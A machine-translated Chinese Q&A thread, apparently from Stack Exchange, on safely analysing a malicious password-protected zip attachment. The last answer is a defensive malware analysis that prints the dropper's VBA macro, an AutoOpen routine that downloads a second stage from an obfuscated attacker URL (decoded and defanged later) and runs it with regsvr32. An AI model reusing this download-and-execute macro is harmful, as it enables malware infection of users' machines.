如何在不被感染的情况下快速找出受密码保护的存档的威胁性质?

信息安全 电子邮件 文件加密
2021-09-08 01:18:53

我最近收到了一封来自现有支持组电子邮件信箱的电子邮件,具有以下特征:

  • 用公司总部使用的语言写成(不同于主要沟通语言的英语)
  • 有一个拉链附件
  • 为附件提供清晰的密码
  • 是我几个月前从一位同事那里收到的一封合法电子邮件的回复

这似乎与此处描述的相似,因此很有可能收到受感染的文件。几个小时后,我们的安全部门发送了一封与公司内部发生的类似案件相关的电子邮件。

我想知道如何以安全的方式找出威胁的确切性质。我尝试了以下方法(仅公司内部的第一步,VM 中的其余步骤):

  • 检查 VirusTotal,但收到 0% 的检测,这是有道理的,因为引擎无法扫描加密的存档
  • 与吹嘘扫描受密码保护的档案的Nanoav进行检查,但它不允许输入密码
  • 用 7zip 打开存档,看到里面有一个文档
  • 使用 7zip 提取文件并将文件上传到 VirusTotal => 13+ 个引擎检测到一些奇怪的东西。

预览和提取档案是否会带来任何安全风险,还是只有其中的文档会被感染?(在这种情况下,它似乎使用了一个宏)。

问题:如何在不被感染的情况下快速找出受密码保护的档案的威胁性质?

4个回答

我想知道如何以安全的方式找出威胁的确切性质

自己进行恶意软件分析非常困难——恶意软件通常被设计成不容易被逆向工程。您最好的选择是搜索 VirusTotal 结果 - 不幸的是,可能没有任何关于您的特定恶意软件的确切作用的明确信息。此外,如果恶意软件连接回服务器并下载其他片段,则可能无法判断,因为这些片段可能随时更改,或者取决于特定目标。

预览和提取存档是否会带来任何安全风险

不太可能,但可能。大多数普通恶意软件依赖于用户主动执行包含代码的文件。有几种常见的方法可以做到这一点:

  • 最简单的方法是只提供一个 .exe。有一些方法可以隐藏文件扩展名,使其看起来不那么可疑(Windows 有一个只隐藏它们的坏习惯)
  • 使用鲜为人知的文件格式,例如 .bat 或 .vbs,它们也是可执行文件
  • 通过在 Word 文档(或类似格式)中嵌入宏。如果您要打开这样的文档,Word 会询问您是否要执行不安全的宏内容。许多用户被训练在这样的提示下单击“是”,这将导致执行恶意软件。

很可能,加密的 zip 只是一种向可能检测到已知恶意软件的自动扫描程序隐藏恶意内容的方法。

但还有另一种可能性:恶意软件可能包含对您正在运行的软件中的弱点的实际利用。这可能是一个已知漏洞,依赖于您使用过时的版本(更有可能),甚至是未发现的“零日”漏洞(不太可能)。在这种情况下,仅查看 .zip 之类的“无害”格式可能会导致系统受损(尽管使用zip中必须打开的文档来定位更复杂的格式,例如 .docx 或 .pdf可能要多得多可能)。

无论如何,使用虚拟机绝对是安全的选择——只要确保不要将它连接到互联网并在事后处理它。通过联系您的安全部门,您肯定做了正确的事情——他们可能有资源来进一步分析威胁,或者至少阻止那些特定的邮件通过。

问题:如何在不被感染的情况下快速找出受密码保护的档案的威胁性质?

我将回答这个问题。由于您想要“快速”的结果,您可以对恶意软件进行动态分析。我建议有一个恶意软件沙箱来为你做这件事。

你把它扔进去。它运行,

  • 它告诉你它试图与谁交流
  • 它产生的文件
  • 写入的注册表项
  • 使用的 dll

有了上面的这些信息,您应该对它的作用有一个大致的了解。

除了使用像 VirusTotal 这样的静态分析工具外,我还推荐使用沙盒分析工具。你可以在网上找到一个,比如混合分析(我认可这个软件,只是给出一个具体的例子)。

如果您有使用恶意软件的经验,则可以对二进制文件进行更深入的分析,以确定它是否安全。静态分析,即对二进制文件进行病毒扫描,可能是预防高级恶意软件的效率最低的方法

鉴于恶意个人希望您在打开文件之前对其进行扫描,他们会花更多时间尝试“隐藏”尽可能多的内容。这些技术包括用动态导入表替换静态导入表、解压缩混淆字符串(可能是 RC4 或 AES)并在运行时通过利用“私有”Windows 漏洞利用的 RunPE 注入方法调用它等。

卡巴斯基有一个非常好的关于恶意软件的博客,名为Securelist,他们深入剖析恶意软件并解释每个位的作用和工作原理。例如,他们有一篇文章介绍了僵尸网络的基础知识(来源)。他们还定期发布所谓的恶意软件报告,以便您快速了解最新的安全发展(来源)。他们的博客真的很大,所以我的建议是要么检查一下,要么categories看看tags什么最符合您的要求。

附言。我意识到考虑到最近的一些政治发展,卡巴斯基有点热水,但是,他们的博客完全是教育性的(基于我与它的互动),绝不是对卡巴斯基作为商业 AV 软件的认可。

只是邮件中包含明确密码的意外密码保护的 zip 附件会让我怀疑。

并非所有受密码保护的 zip 都是恶意的,但如果您正在加密文档以防止其被窥探,最好通过不同的媒介(例如电话)单独发送。这样做也很少见。上下文也很重要。也许我们期待某些文件,并且我们说我们想将其加密发送。或者我们知道这家伙总是以这种方式向我们发送文件。

过去,它是对合法电子邮件的回复,这一事实可能使其更具可信度。在 Emotet 在其竞选活动中如此滥用它之后,情况并非如此。由于这确实是恶意的,这意味着它正在“回复”的那封电子邮件的收件人已被泄露(可能是最近,也可能是过去,现在已经修复。如有疑问,请更改他们的凭据)。

为了进行分析,您通常需要提供提取的文件。正如您所提到的,如果文件预览意外运行潜在的有效负载(例如利用),这可能会带来风险。在这种特定情况下,仅在禁用宏的情况下打开它是安全的,但在玩恶意软件样本时很容易感染自己。您使用虚拟机对文档进行任何研究是一件好事。

分析文档,它只是一个普通的宏病毒。打开它会显示通常的诱惑,让您启用文档编辑(从而允许宏运行):( 来源:16bits.netDieses Dokument wurde in der vorherigen

恶意操作通过文档宏执行:

Sub AutoOpen()
Dim ij As New OG
ij.W Kd("$+1", 0), Kd("$+1", 1)
Dim It As New H

It.b "regsvr32 " + Kd("$+1", 1)
End Sub

OG 类的方法 W 只是URLDownloadToFile函数的包装器urlmon.dll

Public Function W(JQ, i7)
dD = URLDownloadToFile(0&, JQ, i7, 0&, 0&)
End Function

因此,它会下载 urlKd("$+1", 0)并将其保存到Kd("$+1", 1). Kd 只是一个函数,它返回上面在名为 s() 的函数中定义的两个字符串之一,用混合的 "$+1" 字符串和 "%%%" 作为分隔符进行混淆:

arr(0) = "h$+1t$+1t$+1p$+1:$+1/$+1/$+1h$+1e$+1r$+1z$+1q$+1v$+1t$+1p$+1b$+19$+19$+1m$+10$+1c$+1n$+1.$+1c$+1o$+1m$+1/$+1g$+1g$+18$+18$+1w$+1"
arr(1) = "y$+1a$+1f$+1t$+1c$+1x$+1r$+17$+1g$+1u$+1/$+1w$+1o$+10$+1z$+1z$+1.$+1p$+1h$+1p$+1?$+1l$+1=$+1s$+1f$+1z$+1s$+18$+1.$+1c$+1a$+1b$+1"
arr(2) = "%$+1%$+1%$+1c$+1:$+1\$+1p$+1r$+1o$+1g$+1r$+1a$+1m$+1d$+1a$+1t$+1a$+1\$+14$+17$+19$+10$+15$+12$+19$+17$+1.$+1d$+1a$+1t$+1"

因此,它从下载文件hxxp://herzqvtpb99m0cn[.]com/gg88wyaftcxr7gu/wo0zz.php?l=sfzs8.cab并将其保存到c:\programdata\47905297.dat

H类的方法b只是隐藏WshShell.exec

综上所述,你的文档从黑域herzqvtpb99m0cn dot com(前几天注册,2020-05-25T12:23:49Z)下载了一个文件,保存c:\programdata并运行通过regsvr32

它的 dns 服务器(位于 dnspod.com)现在不解析域,所以我们可以直接分析它。

在https://urlhaus.abuse.ch/url/369399/上有这个 url 的条目根据那里的信息,它是 Ursnif 恶意软件的样本。

结论:您的文档是一个将运行第二阶段的 dropper,可能是 ursnif 恶意软件家族的二进制文件。